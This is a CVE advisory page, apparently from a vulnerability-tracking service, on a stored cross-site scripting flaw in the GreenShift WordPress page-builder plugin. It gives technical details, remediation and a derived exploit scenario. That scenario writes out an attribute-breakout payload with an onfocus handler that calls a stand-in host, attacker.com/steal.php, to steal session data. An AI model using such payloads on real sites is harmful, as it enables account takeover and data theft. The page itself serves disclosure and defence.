Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents a moderate real-world risk despite the CVSS score of 6.4 (medium severity). The attack vector is network-based with low complexity, but requires authenticated access with contributor-level privileges or above (PR:L), which limits the threat model to sites with untrusted contributor accounts or compromised credentials. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates no user interaction is required beyond accessing the page, and the scope is changed (S:C), meaning the impact extends beyond the vulnerable component. The confidentiality and integrity impacts are listed as low (C:L/I:L) with no availability impact. Critically, no public exploit code or active exploitation has been reported at time of analysis, and no CISA KEV confirmation is evident from the data provided. However, the straightforward nature of the vulnerability-naive string replacement in a popular WordPress plugin handling user-controlled HTML-makes exploit development trivial. The real priority depends on deployment context: sites hosting untrusted contributors or plugin marketplaces face elevated risk; sites with tightly controlled contributor access face lower risk. The presence of a patched version (12.9.0 exists per the changeset reference) and clear remediation path further reduce urgency compared to unpatched vulnerabilities. |
| Exploit ScenarioDerived | An authenticated attacker with WordPress contributor-level access (e.g., a hired freelancer or compromised account) creates a page using the GreenShift page builder and inserts an image block with the disablelazy attribute enabled. The attacker crafts the image block's HTML to include a class attribute like class="src=" onfocus="fetch('/admin-ajax.php?action=admin_redirect&to=http://attacker.com/steal.php')". When the page is saved, the malicious payload is stored in the WordPress database. When any visitor (including site administrators) views the page, the injected onfocus event fires and executes the JavaScript, potentially exfiltrating session cookies, redirecting to a phishing site, or modifying page content. No public exploit code is required; the attack can be executed entirely through the WordPress admin GUI, making it accessible to non-technical contributors. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 11, 2026
Stored cross-site scripting in GreenShift - Animation and Page Builder Blocks plugin for WordPress up to version 12.8.9 allows authenticated contributors to inject arbitrary JavaScript into pages via improper HTML string manipulation in the gspb_greenShift_block_script_assets() function. The vulnerability exploits a naive str_replace() operation that fails to parse HTML context, enabling attackers to break out of attribute boundaries and inject malicious event handlers like onfocus with JavaScript payloads that execute when users access affected pages. No public exploit code has been identified; however, the low attack complexity and straightforward injection vector make this a practical risk for sites with untrusted contributors.
RemediationAI
The primary remediation is to upgrade the GreenShift - Animation and Page Builder Blocks plugin to version 12.9.0 or later, which contains the patched code that properly handles HTML attribute insertion. Site administrators should update immediately via the WordPress plugin dashboard (Plugins > Installed Plugins > GreenShift > Update). As a temporary workaround pending upgrade, site owners can restrict contributor-level access to only trusted staff and disable the greenshift-blocks/image block with the disablelazy attribute enabled if it is not essential to site operations, though these measures do not eliminate the vulnerability. The vulnerability fix is documented in the WordPress plugin repository changeset at https://plugins.trac.wordpress.org/changeset/3494855/greenshift-animation-and-page-builder-blocks/trunk/init.php, which shows the replacement of the naive str_replace() logic with proper HTML parsing or escaped attribute construction.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the gspb_greenShift_block_script_assets() function within the GreenShift WordPress plugin (CPE: cpe:2.3:a:wpsoul:greenshift_-_animation_and_page_builder_blocks:*:*:*:*:*:*:*:*), which processes greenshift-blocks/image blocks when the disablelazy attribute is enabled. The function uses PHP's str_replace() to insert the string 'fetchpriority="high"' before 'src=' attributes in HTML markup. This approach treats HTML as plain text rather than parsing it into a structured DOM, which is fundamentally insecure. An authenticated attacker with contributor-level privileges can craft block parameters containing the literal string 'src=' embedded within HTML attribute values (for example, in a class attribute like class="src="onclick="alert(1)"). When str_replace() processes the full HTML string, it matches this embedded 'src=' substring and performs the replacement, inserting 'fetchpriority="high"' before it. The double-quote characters in the replacement string then break out of the surrounding attribute context, allowing the injection of additional HTML attributes such as onfocus with inline JavaScript. This is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting), specifically a stored XSS variant because the malicious payload is persisted in the WordPress database and executed for all subsequent visitors.
Know when Greenshift Animation And Page Builder Blocks gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The GreenShift - Animation and Page Builder Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 12.8.9 This is due to insufficient input sanitization and output escaping in the gspb_greenShift_block_script_assets() function. The function uses str_replace() to insert 'fetchpriority="high"' before 'src=' attributes when processing greenshift-blocks/image blocks with the disablelazy attribute enabled. Because this replacement operates on the entire HTML string without parsing, contributors can inject the string 'src=' into HTML attribute values (such as class attributes). When the str_replace executes, the double quotes in the replacement string break out of the attribute context, allowing injection of malicious HTML attributes like onfocus with JavaScript payloads. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The Greenshift - animation and page builder blocks plugin for WordPress is vulnerable to arbitrary file uploads due to m
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpsoul Greenshift
Stored Cross-Site Scripting in the Greenshift animation and page builder blocks WordPress plugin (versions up to and inc
Reflected cross-site scripting in the Greenshift - animation and page builder blocks WordPress plugin (all versions up t
Incorrect Authorization vulnerability in wpsoul Greenshift greenshift-animation-and-page-builder-blocks allows Exploitin
Stored DOM-based cross-site scripting in the Greenshift - Animation and Page Builder Blocks WordPress plugin (all versio
Stored DOM-based cross-site scripting in Greenshift - Animation and Page Builder Blocks through 13.2.1 lets unauthentica
Stored DOM-based cross-site scripting in the Greenshift - Animation and Page Builder Blocks plugin for WordPress (all ve
WordPress sites running the Greenshift - animation and page builder blocks plugin through 13.2.2 can leak logged-in user
Unauthorized global theme modification in the GreenShift - Animation and Page Builder Blocks WordPress plugin (versions
The Greenshift - animation and page builder blocks plugin for WordPress is vulnerable to Information Exposure in all ver
The Greenshift - animation and page builder blocks plugin for WordPress is vulnerable to Authenticated (Subscriber+) Ser
EUVD-2026-21647
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB